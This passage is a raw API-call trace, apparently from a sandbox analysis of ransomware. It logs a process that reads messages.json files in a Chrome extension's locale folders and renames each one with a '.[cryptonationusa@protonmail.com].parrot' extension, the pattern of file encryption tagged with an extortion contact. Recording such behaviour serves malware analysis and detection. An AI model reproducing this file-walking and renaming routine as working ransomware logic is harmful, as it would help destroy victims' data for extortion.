CloseHandle (hObject=0x28c) returned 1 [0068.322] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0068.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0068.336] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.336] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb66d7660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb66d7660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.336] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb66b1500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.336] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.336] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.336] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.336] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.337] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.337] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.607] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.607] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.607] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.608] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.608] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xda, lpOverlapped=0x0) returned 1 [0068.608] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.608] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.609] CloseHandle (hObject=0x28c) returned 1 [0068.609] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x5b0000) returned 1 [0068.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0068.667] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.667] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6795d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6795d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.667] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb66fd7c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.667] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.668] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.668] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.668] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.668] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.668] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.668] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x219, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.668] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.668] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.669] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.669] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x101, lpOverlapped=0x0) returned 1 [0068.669] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.669] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x219, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.670] CloseHandle (hObject=0x28c) returned 1 [0068.670] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0068.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0068.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.738] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6854420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6854420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.738] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6795d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.739] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.739] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.739] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.739] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.739] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.821] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.821] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.821] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.822] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.822] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf6, lpOverlapped=0x0) returned 1 [0068.822] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.823] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.823] CloseHandle (hObject=0x270) returned 1 [0068.823] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0068.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0068.877] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.877] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb69ab080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb69ab080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.877] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6912b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.877] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.878] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.878] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.878] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.878] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.878] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.878] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x220, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.878] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.878] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.879] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.879] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x108, lpOverlapped=0x0) returned 1 [0068.879] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.879] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x220, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.879] CloseHandle (hObject=0x270) returned 1 [0068.880] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0068.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0068.887] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.887] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb69ab080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb69ab080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.887] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb69ab080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.888] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 